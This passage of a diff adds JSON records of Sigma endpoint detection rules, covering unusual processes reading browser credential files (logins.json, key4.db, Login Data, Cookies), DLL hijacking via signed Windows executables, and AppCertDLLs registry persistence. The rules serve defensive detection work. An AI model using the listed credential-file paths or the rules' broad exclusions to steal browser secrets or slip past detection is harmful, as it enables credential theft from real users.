'\\AppData\\Local\\Microsoft\\Edge\\User Data'\n            - '\\AppData\\Local\\Tencent\\QQBrowser\\User Data'\n\n    selection_firefox:\n        ProcessImage|contains: '?'\n        Path|contains:\n            - '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'\n            - '\\AppData\\Roaming\\Waterfox\\Profiles'\n            - '\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles'\n            - '\\AppData\\Roaming\\librewolf\\Profiles'\n            - '\\AppData\\Roaming\\Basilisk\\Profiles'\n            - '\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles'\n            - '\\Browser\\TorBrowser\\Data\\Browser\\profile.default'\n            - '\\Comodo\\IceDragon\\Profiles'\n\n    selection_files:\n        Path|contains:\n            - '\\logins.json'\n            - '\\cert9.db'\n            - '\\key4.db'\n            - '\\cookies.sqlite'\n            - '\\cookies.sqlite3'\n            - '\\formhistory.sqlite'\n            - '\\formhistory.sqlite3'\n            - '\\places.sqlite'\n            - '\\places.sqlite3'\n            - '\\Login Data'\n            - '\\Cookies'\n            - '\\Bookmarks'\n            - '\\History'\n            - '\\Web Data'\n\n    filter_browsers:\n        ProcessImage|endswith:\n            - '\\ChromiumPortable.exe'\n            - '\\YandexBrowser.exe' # Chromium Based Browsers\n            - '\\yandex.exe'\n            - '\\iridium.exe'\n            - '\\chrome.exe'\n            - '\\chromium.exe'\n            - '\\7star.exe'\n            - '\\7xing.exe'\n            - '\\torch.exe'\n            - '\\chromeplus.exe'\n            - '\\kometa.exe'\n            - '\\amigo.exe'\n            - '\\brave.exe'\n            - '\\centbrowser.exe'\n            - '\\chedot.exe'\n            - '\\orbitum.exe'\n            - '\\sputnik.exe'\n            - '\\dragon.exe'\n            - '\\vivaldi.exe'\n            - '\\citrio.exe'\n            - '\\360chrome.exe'\n            - '\\uran.exe'\n            - '\\liebao.exe'\n            - '\\elementsbrowser.exe'\n            - '\\epic.exe'\n            - '\\coccocbrowser.exe'\n            - '\\qipsurf.exe'\n            - '\\coowon.exe'\n            - '\\msedge.exe'\n            - '\\qqbrowser.exe'\n            - '\\firefox.exe' # Firefox Based Browsers\n            - '\\waterfox.exe'\n            - '\\palemoon.exe'\n            - '\\librewolf.exe'\n            - '\\basilisk.exe'\n            - '\\seamonkey.exe'\n            - '\\icedragon.exe'\n            - '\\Zen Browser\\zen.exe'\n\n    # AV products may scan different browser files, such as cache or extensions.\n    # The exclusion for cache/extension read should handle most of them.\n    # The problem is some them read absolutely everything.\n    filter_installers:\n        ProcessImage|endswith:\n            - '\\AppData\\Local\\\\*\\Update\\Install\\\\*.exe' # Chromium Installers\n            - '\\AppData\\Local\\\\*\\Installer\\setup.exe'\n\n    # Too many signed AV and other programs to exclude by hand.\n    filter_signed:\n        ProcessSigned: 'true'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    # Lot of programs have their own unsigned certutil.exe\n    exclusion_certutil:\n        ProcessImage|endswith: 'certutil.exe'\n\n    exclusion_libre_office:\n        ProcessImage|endswith:\n            - 'soffice.bin'\n            - 'soffice.exe'\n        ProcessCompany|contains:\n            - 'LibreOffice'\n            - 'OpenOffice'\n\n    # Most custom unsigned browsers have \"The Chromium Authors\" as CompanyName\n    exclusion_custom_chromium:\n        ProcessCompany: \"The Chromium Authors\"\n\n    exclusion_snmp_walk:\n        ProcessImage|endswith: '\\LANDesk\\LDClient\\snmpwalk.exe'\n\n    exclusion_wazuh:\n        ProcessImage|endswith: '\\ossec-agent\\wazuh-agent.exe'\n\n    exclusion_burp:\n        ProcessImage|endswith: '\\Burp\\bin\\burp.exe'\n\n    exclusion_fortify:\n        ProcessImage|endswith: '\\Fortify\\fortify.exe'\n        ProcessCompany: 'Peculiar Ventures'\n\n    exclusion_spiceworks:\n        ProcessImage|endswith: '\\Spiceworks\\Agent\\Spiceworks Agent Service.exe'\n        ProcessCompany: 'Spiceworks, Inc.'\n\n    exclusion_open_videopresence:\n        ProcessImage|endswith: '\\Open Videopresence\\open-videopresence.exe'\n        ProcessCompany: 'Orange'\n\n    exclusion_zenworks:\n        ProcessImage|endswith: 'Novell\\ZENworks\\bin\\ZenworksWindowsService.exe'\n        ProcessCompany: 'Novell, Inc.'\n\n    exclusion_forticlient:\n        ProcessImage|endswith: '\\Fortinet\\FortiClient\\fmon.exe'\n        ProcessCompany: 'Fortinet Inc.'\n\n    exclusion_scrobbler:\n        ProcessImage|endswith: '\\Vidoc\\Scrobbler\\VidocScrobbler.exe'\n\n    exclusion_clamav:\n        ProcessImage|endswith: '\\ClamWin\\bin\\clamscan.exe'\n        ProcessCompany: 'ClamWin Antivirus'\n\n    exclusion_7z_1:\n        ProcessImage|endswith: '\\7-Zip\\7z.exe'\n        ProcessCompany: 'Igor Pavlov'\n    exclusion_7z_2:\n        ProcessOriginalFileName: '7za.exe'\n        ProcessCompany: 'Igor Pavlov'\n\n    exclusion_flow_launcher:\n        ProcessImage|endswith: '\\Flow.Launcher.exe'\n        ProcessCompany: 'Flow Launcher'\n\n    # Excluding these because of signature issues in the agent which is RUINING MY FP RATE\n    exclusion_bitdefender:\n        ProcessImage|endswith: '\\Bitdefender\\Endpoint Security\\EPSecurityService.exe'\n        ProcessCompany: 'Bitdefender'\n\n    # May God have mercy for I won't.\n    exclusion_microsoft:\n        ProcessCompany|contains: 'Microsoft'\n\n    exclusion_pspad:\n        ProcessImage|endswith: 'PSPad Editor\\PSPad'\n        ProcessCompany: 'Prog-Soft s.r.o.'\n\n    exclusion_git:\n        ProcessImage|endswith:\n            - '\\AppData\\Local\\Programs\\Git\\usr\\bin\\du.exe'\n            - '\\AppData\\Local\\Programs\\Git\\usr\\bin\\bash.exe'\n\n    exclusion_velociraptor:\n        ProcessOriginalFileName: 'Velociraptor.exe'\n        ProcessCompany: 'Rapid 7 Inc'\n        ProcessDescription: 'Velociraptor: Digging Deeper!'\n\n    exclusion_supercopier:\n        ProcessCompany: 'SFX TEAM'\n        ProcessDescription: 'SuperCopier 2 (explorer file copy replacement)'\n        ProcessInternalName: 'SuperCopier2'\n\n    exclusion_ccleaner:\n        ProcessOriginalFileName: 'ccleaner.exe'\n        ProcessCompany: 'Piriform Software Ltd'\n        ProcessDescription: 'CCleaner'\n\n    exclusion_keypirinha:\n        ProcessOriginalFileName: 'keypirinha-x64.exe'\n        ProcessCompany: 'Jean-Charles Lefebvre'\n        ProcessDescription: 'Keypirinha'\n\n    exclusion_cookiefix:\n        ProcessOriginalFileName: 'CookieFix.dll'\n        ProcessCompany: 'CookieFix'\n        ProcessDescription: 'CookieFix'\n\n    exclusion_rsync:\n        ProcessImage:\n            - '?:\\cygwin\\bin\\rsync.exe'\n            - '?:\\cygwin64\\bin\\rsync.exe'\n            - '?:\\rsync\\usr\\bin\\rsync.exe'\n            - '?:\\\\*\\Tools\\Rsync\\bin\\rsync.exe'\n            - '*\\MobaXterm\\slash\\bin\\rsync.exe'\n\n    exclusion_duplicati:\n        ProcessImage: '?:\\ProgramData\\Duplicati\\updates\\\\*\\Duplicati.GUI.TrayIcon.exe'\n\n    exclusion_zhpcleaner:\n        ProcessProduct: 'ZHPcleaner'\n        ProcessCompany: 'Nicolas Coolman'\n\n    exclusion_adwcleaner:\n        ProcessOriginalFileName: 'AdwCleaner.exe'\n        ProcessCompany: 'Malwarebytes'\n\n    exclusion_clbackup:\n        ProcessOriginalFileName: 'clBackup.exe'\n        ProcessCompany: 'Commvault'\n\n    condition: (selection_chromium or selection_firefox) and selection_files and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\n# level: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9584cb1b-7b89-49ee-82d2-5cf2f2cef3fd",
+  "rule_name": "Browser Data Read by Unusual Process",
+  "rule_description": "Detects an attempt to read browser data files from an unusual process.\nThis may be an indicator of a stealer opening the User Data folder of a given browser to exfiltrate credentials or other artifacts.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\nIf you assume this to be a breach, it is recommended to perform an investigation to determine the specific malware used, what information has been exfiltrated and change the credentials of the affected users.\nFurther information about different stealers is present in the references.\n",
+  "rule_creation_date": "2023-05-04",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005",
+    "attack.t1185",
+    "attack.t1217",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "95af5d1d-59ae-4c66-aab0-c03f4c84b280",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601573Z",
+  "creation_date": "2026-03-23T11:45:34.601577Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601585Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sndvol.yml",
+  "content": "title: DLL Hijacking via SndVol.exe\nid: 95af5d1d-59ae-4c66-aab0-c03f4c84b280\ndescription: |\n    Detects potential Windows DLL Hijacking via SndVol.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SndVol.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\mmdevapi.dll'\n            - '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "95af5d1d-59ae-4c66-aab0-c03f4c84b280",
+  "rule_name": "DLL Hijacking via SndVol.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SndVol.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "95bd2930-2a9d-46a0-8810-77de1fa84fbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597560Z",
+  "creation_date": "2026-03-23T11:45:34.597566Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597577Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsmgmt.yml",
+  "content": "title: DLL Hijacking via dsmgmt.exe\nid: 95bd2930-2a9d-46a0-8810-77de1fa84fbe\ndescription: |\n    Detects potential Windows DLL Hijacking via dsmgmt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsmgmt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\samlib.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "95bd2930-2a9d-46a0-8810-77de1fa84fbe",
+  "rule_name": "DLL Hijacking via dsmgmt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsmgmt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "95e02498-70d3-402d-b84b-4583d48d3396",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090003Z",
+  "creation_date": "2026-03-23T11:45:34.090005Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090009Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
+    "https://attack.mitre.org/techniques/T1546/009/"
+  ],
+  "name": "t1546_009_persistence_registry_appcert_dlls.yml",
+  "content": "title: Registry AppCert DLLs Modified\nid: 95e02498-70d3-402d-b84b-4583d48d3396\ndescription: |\n    Detects the modification of the AppCertDLLs key in registry.\n    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.\n    Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key are loaded into every process that calls the ubiquitously used application programming interface (API) functions like CreateProcess, CreateProcessAsUser, ...\n    It is recommended to investigate the process at the origin of the registry modification to determine whether this action is legitimate.\nreferences:\n    - https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process\n    - https://attack.mitre.org/techniques/T1546/009/\ndate: 2020/09/24\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.009\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains:\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppCertDLLs'  # AppCertDLLs\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppCertDLLs'  # AppCertDLLs\n\n    filter_empty:\n        Details: '(Empty)'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "95e02498-70d3-402d-b84b-4583d48d3396",
+  "rule_name": "Registry AppCert DLLs Modified",
+  "rule_description": "Detects the modification of the AppCertDLLs key in registry.\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.\nDynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key are loaded into every process that calls the ubiquitously used application programming interface (API) functions like CreateProcess, CreateProcessAsUser, ...\nIt is recommended to investigate the process at the origin of the registry modification to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.009"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "95ff9084-6538-444d-acf3-7fffad95e7f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590598Z",
+  "creation_date": "2026-03-23T11:45:34.590603Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590615Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wcchromenativemessaginghost.yml",
+  "content": "title: DLL Hijacking via WCChromeNativeMessagingHost.exe\nid: 95ff9084-6538-444d-acf3-7fffad95e7f5\ndescription: |\n    Detects potential Windows DLL Hijacking via WCChromeNativeMessagingHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/05/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WCChromeNativeMessagingHost.exe'\n        ProcessSignature:\n            - 'Adobe Systems, Incorporated'\n            - 'Adobe Inc.'\n        ImageLoaded|endswith: '\\vcruntime140.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Adobe\\Acrobat *\\Acrobat\\Browser\\WCChromeExtn\\'\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat *\\Acrobat\\Browser\\WCChromeExtn\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company: 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "95ff9084-6538-444d-acf3-7fffad95e7f5",
+  "rule_name": "DLL Hijacking via WCChromeNativeMessagingHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WCChromeNativeMessagingHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-05-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "961445af-546f-4e48-a76f-f49a656805ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081706Z",
+  "creation_date": "2026-03-23T11:45:34.081709Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081713Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_eudcedit.yml",
+  "content": "title: DLL Hijacking via EUDCEDIT.exe\nid: 961445af-546f-4e48-a76f-f49a656805ea\ndescription: |\n    Detects potential Windows DLL Hijacking via EUDCEDIT.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EUDCEDIT.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mfc42u.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "961445af-546f-4e48-a76f-f49a656805ea",
+  "rule_name": "DLL Hijacking via EUDCEDIT.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via EUDCEDIT.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
